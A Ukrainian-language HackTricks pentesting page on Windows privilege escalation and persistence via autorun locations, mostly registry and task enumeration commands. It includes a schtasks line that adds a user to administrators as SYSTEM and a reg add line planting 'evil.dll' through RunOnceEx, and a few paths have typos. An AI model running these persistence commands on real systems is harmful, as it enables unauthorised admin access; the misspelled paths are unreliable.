Privilege Escalation with Autoruns

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Підказка щодо багів у програмі для винагороди: зареєструйтеся на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

WMIC

Wmic може бути використаний для запуску програм при запуску. Перегляньте, які виконувані файли заплановані для запуску за допомогою:

wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

Заплановані завдання

Завдання можуть бути заплановані для виконання з певною частотою. Перегляньте, які виконувані файли заплановані для виконання:

schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Schtask to give admin access
#You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"

Папки

Усі виконувані файли, розташовані в папках автозапуску, будуть виконані при запуску. Загальні папки автозапуску перераховані нижче, але папка автозапуску вказана в реєстрі. Прочитайте це, щоб дізнатися де.

dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Реєстр

Примітка звідси: Запис реєстру Wow6432Node вказує на те, що ви використовуєте 64-бітну версію Windows. Операційна система використовує цей ключ для відображення окремого виду HKEY_LOCAL_MACHINE\SOFTWARE для 32-бітних програм, які працюють на 64-бітних версіях Windows.

Запуски

Загальновідомі автозапуски в реєстрі:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Відомі як Run та RunOnce реєстраційні ключі призначені для автоматичного виконання програм кожного разу при вході користувача в систему. Командний рядок, призначений як значення даних ключа, обмежений 260 символами або менше.

Запуски служб (можуть контролювати автоматичний запуск служб під час завантаження):

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

RunOnceEx:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

  • HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx

На Windows Vista та пізніших версіях ключі реєстру Run та RunOnce не генеруються автоматично. Записи в цих ключах можуть або безпосередньо запускати програми, або вказувати їх як залежності. Наприклад, для завантаження файлу DLL при вході в систему можна використовувати ключ реєстру RunOnceEx разом із ключем "Depend". Це демонструється додаванням запису в реєстр для виконання "C:\temp\evil.dll" під час запуску системи:

reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"

Використання 1: Якщо ви можете записувати всередині будь-якого з вказаних реєстрів всередині HKLM, ви можете підвищити привілеї, коли увійде інший користувач.

Використання 2: Якщо ви можете перезаписати будь-який з вказаних в реєстрі бінарних файлів всередині HKLM, ви можете змінити цей бінарний файл з заднім прохідним отвором, коли увійде інший користувач та підвищити привілеї.

#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices

reg query HKLM\Software\Microsoft\Windows\RunOnceEx
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx

#PowerShell
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'

Шлях запуску

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Ярлики, розміщені в папці Startup, автоматично запускатимуть служби або програми під час входу користувача або перезавантаження системи. Місце розташування папки Startup визначено в реєстрі як для Local Machine, так і для Current User. Це означає, що будь-який ярлик, доданий до цих вказаних місць Startup, забезпечить запуск зв'язаної служби або програми після процесу входу або перезавантаження, зробивши це простим методом для планування автоматичного запуску програм.

Якщо ви можете перезаписати будь-яку папку [User] Shell під HKLM, ви зможете спрямувати її на папку, котрою керуєте ви, і розмістити задній прохід, який буде виконуватися кожного разу, коли користувач увійде в систему, підвищуючи привілеї.

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"

Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"

Ключі Winlogon

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Зазвичай ключ Userinit встановлений на userinit.exe. Однак, якщо цей ключ змінено, вказаний виконуваний файл також буде запущений Winlogon під час входу користувача. Аналогічно, ключ Shell призначений вказувати на explorer.exe, який є типовою оболонкою для Windows.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"

Якщо ви зможете перезаписати значення реєстру або бінарний файл, ви зможете підвищити привілеї.

Налаштування політики

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Перевірте ключ Run.

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"

AlternateShell

Зміна командного рядка безпечного режиму

У реєстрі Windows під HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot за замовчуванням є значення AlternateShell, встановлене на cmd.exe. Це означає, що при виборі "Безпечний режим з командним рядком" під час запуску (натискаючи F8), використовується cmd.exe. Але можна налаштувати комп'ютер таким чином, щоб автоматично запускатися в цьому режимі без необхідності натискати F8 та вручну вибирати його.

Кроки для створення параметра завантаження для автоматичного запуску в "Безпечному режимі з командним рядком":

  1. Змініть атрибути файлу boot.ini, щоб видалити прапорці "тільки для читання", "системний" та "прихований": attrib c:\boot.ini -r -s -h

  2. Відкрийте boot.ini для редагування.

  3. Вставте рядок, подібний до: multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)

  4. Збережіть зміни в boot.ini.

  5. Повторно застосуйте початкові атрибути файлу: attrib c:\boot.ini +r +s +h

  • Експлойт 1: Зміна ключа реєстру AlternateShell дозволяє налаштувати власний командний рядок, що потенційно може бути використаний для несанкціонованого доступу.

  • Експлойт 2 (Дозволи на запис до шляху PATH): Мати дозвіл на запис до будь-якої частини змінної системи PATH, особливо перед C:\Windows\system32, дозволяє виконати власний cmd.exe, який може бути заднім входом, якщо система запускається в безпечному режимі.

  • Експлойт 3 (Дозволи на запис до шляху PATH та boot.ini): Доступ на запис до boot.ini дозволяє автоматичний запуск у безпечному режимі, сприяючи несанкціонованому доступу при наступному перезавантаженні.

Для перевірки поточного налаштування AlternateShell використовуйте ці команди:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'

Встановлений компонент

Active Setup - це функція в Windows, яка ініціюється до повного завантаження робочого столу. Вона надає пріоритет виконанню певних команд, які повинні завершитися до продовження входу користувача. Цей процес відбувається навіть до запуску інших записів запуску, таких як ті, що містяться в розділах реєстру Run або RunOnce.

Active Setup керується через наступні ключі реєстру:

  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

У цих ключах існують різні підключі, кожен з яких відповідає конкретному компоненту. Значення ключів, які варто відзначити, включають:

  • IsInstalled:

    • 0 вказує на те, що команда компонента не буде виконана.

    • 1 означає, що команда буде виконана один раз для кожного користувача, що є типовою поведінкою, якщо значення IsInstalled відсутнє.

  • StubPath: Визначає команду, яку виконає Active Setup. Це може бути будь-яка дійсна командна стрічка, наприклад, запуск notepad.

Висновки з безпеки:

  • Зміна або запис до ключа, де IsInstalled встановлено на "1" з певним StubPath, може призвести до виконання несанкціонованої команди, що потенційно може призвести до підвищення привілеїв.

  • Зміна бінарного файлу, на який посилається будь-яке значення StubPath, також може призвести до підвищення привілеїв за наявності відповідних дозволів.

Для перевірки конфігурацій StubPath у компонентах Active Setup можна використовувати такі команди:

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath

Об'єкти допоміжника браузера

Огляд об'єктів допоміжника браузера (BHO)

Об'єкти допоміжника браузера (BHO) - це модулі DLL, які додають додаткові функції до Internet Explorer від Microsoft. Вони завантажуються в Internet Explorer та Провідник Windows при кожному запуску. Однак їх виконання можна заблокувати, встановивши ключ NoExplorer на 1, що запобігає їх завантаженню разом із екземплярами Провідника Windows.

BHO сумісні з Windows 10 через Internet Explorer 11, але не підтримуються в Microsoft Edge, браузері за замовчуванням у новіших версіях Windows.

Для дослідження BHO, зареєстрованих у системі, ви можете перевірити наступні ключі реєстру:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

Кожен BHO представлений своїм CLSID в реєстрі, який служить унікальним ідентифікатором. Детальну інформацію про кожен CLSID можна знайти в HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}.

Для запиту BHO в реєстрі можна використовувати такі команди:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s

Розширення для Internet Explorer

  • HKLM\Software\Microsoft\Internet Explorer\Extensions

  • HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

Зверніть увагу, що в реєстрі буде міститися 1 новий реєстр для кожного dll, який буде представлений CLSID. Інформацію про CLSID можна знайти в HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}

Драйвери шрифтів

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'

Відкрити команду

  • HKLM\SOFTWARE\Classes\htmlfile\shell\open\command

  • HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command

reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""

Опції виконання файлів зображень

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options

SysInternals

Зверніть увагу, що всі сайти, де можна знайти автозапуск, вже були проскановані winpeas.exe. Однак, для більш повного списку автоматично виконуваних файлів ви можете використовувати autoruns від SysInternals:

autorunsc.exe -m -nobanner -a * -ct /accepteula

Додатково

Знайдіть більше автозапусків, подібних реєстрам, за посиланням https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2

Посилання

Підказка щодо багів: зареєструйтеся на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated